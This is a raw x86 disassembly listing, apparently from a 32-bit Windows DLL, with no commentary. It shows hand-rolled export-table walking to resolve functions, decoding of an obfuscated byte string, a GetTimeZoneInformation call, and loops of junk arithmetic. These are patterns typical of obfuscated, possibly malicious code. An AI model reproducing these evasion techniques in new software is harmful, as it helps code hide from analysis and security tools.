mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0xb54
jge 0x100304d0
and dword [ebp - 0x1d4], 0
jmp 0x10030459
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x28fa
jge 0x100304cb
and dword [ebp - 0x1dc], 0
jmp 0x1003047b
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x83
jge 0x100304c9
mov eax, dword [ebp - 0x1d4]
cdq
idiv dword [ebp - 0x1dc]
add edx, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x1ec]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x5fc], eax
mov dword [ebp - 0x5f8], edx
push dword [ebp - 0x5f8]
push dword [ebp - 0x5fc]
mov ecx, 0x10081078
call fcn.10004aca
jmp 0x1003046e
jmp 0x1003044c
jmp 0x10030426
jmp 0x10030400
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
movzx eax, byte [0x1035e8ee]
test eax, eax
je 0x100304f9
mov ecx, 0x1035fd64
call fcn.100336cc
movzx eax, al
test eax, eax
jne 0x10030519
lea eax, [ebp - 0x454]
push eax
mov ecx, 0x1035fd64
call fcn.100336ec
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov byte [0x1035e8ee], 1
mov byte [ebp - 4], 0x28
cmp dword [ebp - 0x44c], 0x3207
jge 0x10030539
mov edx, dword [ebp - 0x530]
mov ecx, 0x10081078
call fcn.10006f4f
jmp 0x10030555
mov dword [ebp - 4], 0x27
jmp 0x10030565
cmp dword [ebp - 0xa4], 0xffffffff
jne 0x10030588
mov eax, dword [ebp - 0x454]
cmp eax, dword [ebp - 0x1f4]
jne 0x10030588
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xa4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7f0]
call fcn.10004cd8
jmp 0x10030357
cmp dword [ebp + 0x10], 0
jne 0x100305c5
cmp dword [ebp - 0xa4], 0xffffffff
je 0x100305c5
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xa8]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0xa4]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x38], ax
movzx eax, word [ebp - 0x38]
cmp eax, 0xffff
je 0x1003094c
movzx eax, word [ebp - 0x38]
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0xa8]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0xa8]
add ecx, dword [eax]
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x58]
jbe 0x10030944
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x58]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x54], edx
jae 0x10030944
mov eax, dword [0x1035fdd4]
and eax, 2
jne 0x10030658
mov eax, dword [0x1035fdd4]
or eax, 2
mov dword [0x1035fdd4], eax
mov dword [ebp - 4], 0x2a
push 0x1c8b4
call fcn.1000b370
pop ecx
mov byte [0x1035fd88], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x64], 1
mov byte [ebp - 0x63], 0x7e
mov byte [ebp - 0x62], 2
mov byte [ebp - 0x61], 0
mov byte [ebp - 0x60], 2
mov byte [ebp - 0x5f], 0xd7
mov byte [ebp - 0x5e], 0xfe
mov byte [ebp - 0x5d], 0
mov byte [ebp - 0x5c], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x64]
and eax, 0x12
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x64]
or ecx, 0x12
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x64]
mov byte [ebp + eax - 0xb0], cl
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1fc], 0
jmp 0x100306c4
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 9
jae 0x10030762
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x64]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x10030705
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x64]
inc eax
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x64]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x100306bc
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1fc]
movzx eax, byte [ebp + eax - 0x66]
movsx eax, byte [ebp + eax - 0xb0]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x63]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1fc]
movzx eax, byte [ebp + eax - 0x66]
movsx eax, byte [ebp + eax - 0xb0]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x63]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x64]
mov byte [ebp + eax - 0xb0], dl
and dword [ebp - 0x1fc], 0
jmp 0x100306bc
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0xb0], 0
mov eax, dword [0x1035fdd4]
and eax, 4
jne 0x100307ae
mov eax, dword [0x1035fdd4]
or eax, 4
mov dword [0x1035fdd4], eax
mov dword [ebp - 4], 0x2b
lea eax, [ebp - 0xb0]
push eax
mov ecx, 0x1035fdfc
call fcn.10033582
push 0x100650cc
call fcn.1004c629
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x204], 0
jmp 0x100307c4
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 4
jae 0x100307dd
mov eax, dword [ebp - 0x204]
mov byte [ebp + eax - 0xb0], 0
jmp 0x100307b7
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x6c], eax
movsx eax, byte [0x1035fd88]
mov ecx, dword [ebp - 0x6c]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x100307fd
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
jmp 0x100307e3
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
push dword [ebp - 0x6c]
push dword [ebp - 0x54]
lea ecx, [ebp - 0x7b8]
call fcn.10033aef
mov dword [ebp - 4], 0x2c
push 0x1035fdfc
lea ecx, [ebp - 0x7b8]
call fcn.100335b1
lea eax, [ebp - 0x78c]
push eax
lea ecx, [ebp - 0x7b8]
call fcn.1000531e
push dword [eax]
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0x7b8]
call fcn.100062fb
push dword [eax]
lea ecx, [ebp - 0x808]
call fcn.10033b18
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x808]
push eax
call fcn.1001fa9d
pop ecx
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
je 0x100308f3
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x7d0]
call fcn.10033582
mov byte [ebp - 4], 0x2e
lea edx, [ebp - 0x540]
lea ecx, [ebp - 0x7d0]
call fcn.1001ebbd
movzx eax, al
test eax, eax
je 0x100308c6
push 0
push dword [ebp - 0x540]
push 0
push dword [ebp - 0x25c]
call fcn.1002c8ca
add esp, 0x10
mov dword [ebp - 0x54], eax
jmp 0x100308e2
push 1
push 0
lea eax, [ebp - 0x7d0]
push eax
push dword [ebp - 0x25c]
call fcn.1002c8ca
add esp, 0x10
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x7d0]
call fcn.10004cd8
jmp 0x10030926
cmp dword [ebp + 0x10], 0
jne 0x10030909
mov ecx, dword [ebp + 0xc]
call fcn.10004aaa
mov dword [ebp - 0x45c], eax
jmp 0x10030913
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x45c], eax
push dword [ebp - 0x45c]
push dword [ebp + 8]
call fcn.10028128
pop ecx
pop ecx
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x808]
call fcn.10004c1a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7b8]
call fcn.10004cd8
mov eax, dword [ebp - 0x54]
jmp 0x10030a82
mov dword [ebp - 0x20c], 0xdf99ff60
mov dword [ebp - 0x20c], 0
jmp 0x1003096f
mov eax, dword [ebp - 0x20c]
dec eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xfffffffb
je 0x10030a80
mov dword [ebp - 0x214], 0xffffffff
mov dword [ebp - 0x550], 0xab9737e0
mov dword [ebp - 0x214], 0xffffffe7
jmp 0x100309a9
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x15
jl 0x10030a7b
mov dword [ebp - 0x464], 0x4650
mov dword [ebp - 0x21c], 1
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x79c], eax
mov eax, 0x1813
cmp eax, 0x6732
jle 0x100309ee
mov dword [ebp - 0x46c], 1
jmp 0x100309f5
and dword [ebp - 0x46c], 0
mov dword [ebp - 0x21c], 0x97812a3c
mov eax, dword [ebp - 0x21c]
sub eax, dword [ebp - 0x464]
jne 0x10030a1f
cmp dword [ebp - 0x21c], 0
jne 0x10030a1f
and dword [ebp - 0x548], 0
jmp 0x10030a29
mov dword [ebp - 0x548], 1
imul eax, dword [ebp - 0x21c], 0x9ebe1b0f
cmp dword [ebp - 0x46c], eax
jg 0x10030a47
mov dword [ebp - 0x474], 1
jmp 0x10030a4e
and dword [ebp - 0x474], 0
cmp dword [ebp - 0x474], 0xfffffff8
jne 0x10030a63
mov dword [ebp - 0x47c], 1
jmp 0x10030a6a
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x550], eax
jmp 0x1003099c
jmp 0x10030962
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret